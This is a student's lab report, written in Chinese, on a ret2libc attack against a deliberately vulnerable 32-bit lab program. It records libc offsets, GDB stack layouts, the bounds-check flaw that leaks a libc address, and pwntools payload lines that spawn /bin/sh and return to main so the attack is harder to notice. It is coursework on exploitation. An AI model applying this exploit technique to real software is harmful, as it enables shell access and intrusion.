

Lab4 Report

唐亚周 519021910804

1. 阅读源码，分析strcut程序的流程

答：该程序首先读入一个字符串，然后读入两个整型数作为截取字符串的位。如果这两个整型数的值合法，则输出该字符串在这两个位之间的部分。

2. 使用peda的checksec命令查看strcut开了哪些保护？

答：可以看到开启了 NX 保护。

```
student@IS308: /mnt/hgfs/SJTU_Files/3-Junior-2/IS308-Computer-System-Security/Sys
student@IS308: /mnt/hgfs/SJTU_Files/3-Junior-2/IS308-Computer-System-Security/Sys
Sec-labs/LAB4/ret2libc$ gdb strcut
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from strcut...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY      : disabled
FORTIFY     : disabled
NX          : ENABLED
PIE        : disabled
RELRO      : Partial
gdb-peda$
```

3. 使用 readelf --syms 查看linux系统下的libc中的scanf和system的相对偏移（Tips,/lib/i386-linux-gnu/libc.so.6）修改脚本中对应的值(每个系统的libc可能不一样)，运行ret2lib.py的脚本，并完成利用

答：使用 `readelf --syms` 查看相对偏移如下。可以看到 `scanf` 的相对地址为 `0x0005c0d0`，`system` 的相对地址为 `0x0003adb0`。¹

```
student@IS308:~$ readelf --syms /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00113040 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@GLIBC_2.0
627: 0003adb0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
student@IS308:~$ readelf --syms /lib/i386-linux-gnu/libc.so.6 | grep isoc99 scanf
424: 0005c0d0 258 FUNC GLOBAL DEFAULT 13 __isoc99_scanf@GLIBC_2.7
```

因此我们可以计算出这两个系统调用的相对偏移为它们的相对地址之差，即 `0x00021320`。

然后用 `strings` 命令查看 `/bin/sh` 字符串在 libc 中的相对地址²，可以看到为 `0x0015bb2b`。之后将该字符串作为 `system` 指令的输入。

```
student@IS308:~$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15bb2b /bin/sh
```

将这两个值填入脚本的 `system_to_c99_scanf` 和 `system_to_sh_str` 中，然后运行脚本，结果如下。

```
student@IS308:~/SysSec-labs/LAB4/ret2libc$ python ret2lib.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './strcut': pid 3020
[*] Switching to interactive mode

student
[*] Got EOF while reading in interactive
$
[*] Process './strcut' stopped with exit code -11 (SIGSEGV) (pid 3020)
[*] Got EOF while sending in interactive
```

可以看到该程序打印出了我的用户名，说明攻击成功。

4. 使用GDB调试程序，分析在控制指针后栈的布局（tips, 在有漏洞函数的ret处下断点）

答：这里我使用 pwntools 的 `gdb.attach` 函数来方便地调试。在 Python 脚本中加入

```
1 | gdb.attach(p, '''
2 | b Suggestion
3 | ''')
```

然后运行脚本，并在弹出的 gdb 窗口中输出 `c`，从而执行到断点处。然后再单步调试到该函数的 `ret` 指令，可以看到栈的布局如下。可以看到返回的函数是 `system` 函数，返回的地址是脚本中设置的

`0xabcdefab` 地址，而 `system` 函数的第一个参数为 `"/bin/sh"`，这样就实现了攻击。³

```
[-----registers-----]
EAX: 0xbff3e1df ("A000A001A002U\260]L\253\357+", <incomplete sequence \352\267>)
EBX: 0x0
ECX: 0xb7efe5a0 --> 0xfbad2088
EDX: 0xb7eff87c --> 0x0
ESI: 0xb7efe000 --> 0x1b2db0
EDI: 0xb7efe000 --> 0x1b2db0
EBP: 0x55323030 ('002U')
ESP: 0xbff3e1ec --> 0xb7d85db0 (<__libc_system>:      sub    esp,0xc)
EIP: 0x8048522 (<Suggestion+39>:      ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x804851d <Suggestion+34>: add    esp,0x10
0x8048520 <Suggestion+37>: nop
0x8048521 <Suggestion+38>: leave
=> 0x8048522 <Suggestion+39>: ret
0x8048523 <main>:      lea    ecx,[esp+0x4]
0x8048527 <main+4>:    and    esp,0xfffffffff0
0x804852a <main+7>:    push   DWORD PTR [ecx-0x4]
0x804852d <main+10>:   push   ebp
[-----stack-----]
0000| 0xbff3e1ec --> 0xb7d85db0 (<__libc_system>:      sub    esp,0xc)
0004| 0xbff3e1f0 --> 0xabcdefab
0008| 0xbff3e1f4 --> 0xb7ea6b2b ("/bin/sh")
0012| 0xbff3e1f8 --> 0x0
0016| 0xbff3e1fc --> 0xa ('\n')
0020| 0xbff3e200 --> 0x0
0024| 0xbff3e204 --> 0xbff3e2a4 --> 0xba32ef29
0028| 0xbff3e208 --> 0xb7efe000 --> 0x1b2db0
[-----]
Legend: code, data, rodata, value
0x8048522 in Suggestion ()
```

作为对比，我观察了正常情况下执行到该处的栈的布局，如下。可以看到返回函数就是 `main` 函数。

```
[-----registers-----]
EAX: 0xbfffed7f --> 0x4887900
EBX: 0x0
ECX: 0x1
EDX: 0xb7fba87c --> 0x0
ESI: 0xb7fb9000 --> 0x1b2db0
EDI: 0xb7fb9000 --> 0x1b2db0
EBP: 0xbfffedf8 --> 0x0
ESP: 0xbfffed8c --> 0x80486e7 (<main+452>:      mov    eax,0x0)
EIP: 0x8048522 (<Suggestion+39>:      ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x804851d <Suggestion+34>: add    esp,0x10
0x8048520 <Suggestion+37>: nop
0x8048521 <Suggestion+38>: leave
=> 0x8048522 <Suggestion+39>: ret
0x8048523 <main>:      lea    ecx,[esp+0x4]
0x8048527 <main+4>:    and    esp,0xfffffffff0
0x804852a <main+7>:    push   DWORD PTR [ecx-0x4]
0x804852d <main+10>:   push   ebp
[-----stack-----]
0000| 0xbfffed8c --> 0x80486e7 (<main+452>:      mov    eax,0x0)
0004| 0xbfffed90 --> 0xb7fff000 --> 0x23f40
0008| 0xbfffed94 --> 0x6
0012| 0xbfffed98 --> 0x2
0016| 0xbfffed9c --> 0xa ('\n')
0020| 0xbfffeda0 --> 0x0
0024| 0xbfffeda4 --> 0xbfffee44 --> 0xca5165a9
0028| 0xbfffeda8 --> 0xb7fb9000 --> 0x1b2db0
[-----]
Legend: code, data, rodata, value
0x8048522 in Suggestion ()
```

5. 我们可以获取scanf的地址，源自于程序的漏洞，请对此做分析与说明

答：脚本中针对 `start` 和 `end` 的输入为

```
1 | p.sendline('68 64')
```

而在源程序中我们可以看到，当 `start > end` 时，程序只是简单地将这两个变量的值进行交换，并没有检查它们是否越界。这就是程序的漏洞所在。

还可以看到，源程序中有一个自定义结构体 `stupid_global` 类型的变量 `global`。

```
1 | #define BUFFER_SIZE 0x40
2 |
3 | struct stupid_global
4 | {
5 |     char buffer[BUFFER_SIZE];
6 |     void *system_addr;
7 | }__attribute__((aligned (1)));
8 |
9 | struct stupid_global global;
10 |
11 | int main()
12 | {
13 |     ...
14 |     global.system_addr = *(unsigned int *) (*(unsigned int *) ((char
15 | *)scanf + 2));
16 |     ...
17 | }
```

因此我们可以发现，`global` 的前 64 个字节是 `buffer`，而 65 到 68 个字节则是 `system_addr`，其中存有 `scanf` 指令的地址。当我们输入 68 和 64 至 `start` 和 `end` 时，程序会输出 `buffer` 数组 64~67 位的值，刚好就是我们所需要的。

（但这里我对于为什么 `global.system_addr` 的赋值中有个 `+2`，以及为什么 `buf` 要先 `recv` 一个 byte，并不是很理解。）

6. 为了让攻击不易被察觉，请修改 `ret2lib.py`，使得 `exit` 命令结束后，受害程序回到 `main` 函数重新执行

答：我们只需要把脚本中设置的地址 `0xabcdefab` 改成 `main` 函数的地址即可。在脚本中加入以下语句来获得 `main` 函数的地址。⁴

```
1 | elf = ELF('./strcut')
2 | main_addr = elf.symbols['main']
```

然后将 `payload` 改成

```
1 | payload = junk + 'U' + p32(system_addr) + p32(main_addr) +
2 | p32(sh_addr)
```

运行结果如下，可以看到攻击结束后，重新运行了 `main` 函数。

```
student@IS308:~/SysSec-labs/LAB4/ret2libc$ python ret2libc.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './strcut': pid 2990
[*] '/mnt/hgfs/SJTU_Files/3-Junior-2/IS308-Computer-System-Security/SysSec-labs/LAB4/ret2libc/strcut'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode

student
#####string cutter#####
String length:
$
```

7. (选做)：获取可以实现一次攻击的载荷数据流

附加条件：关闭当前系统的ASLR

8. (选做)：利用ROP的方式完成一个打开文件的操作(Tips, open,read,write)

致谢：感谢胡康喆同学在这次实验中对我的帮助！他耐心地解答了我许多问题，让我顺利完成了这次作业，并且收获了许多。同时也感谢助教余学长对我的帮助！

1. <https://stackoverflow.com/questions/3065535/what-are-the-meanings-of-the-columns-of-the-symbol-table-displayed-by-readelf>

2. https://blog.csdn.net/weixin_44932880/article/details/109607643

3. <https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc>

4. <https://stackoverflow.com/questions/70167909/is-there-any-way-to-use-pwn-tools-to-find-the-address-of-a-function-in-an-execut>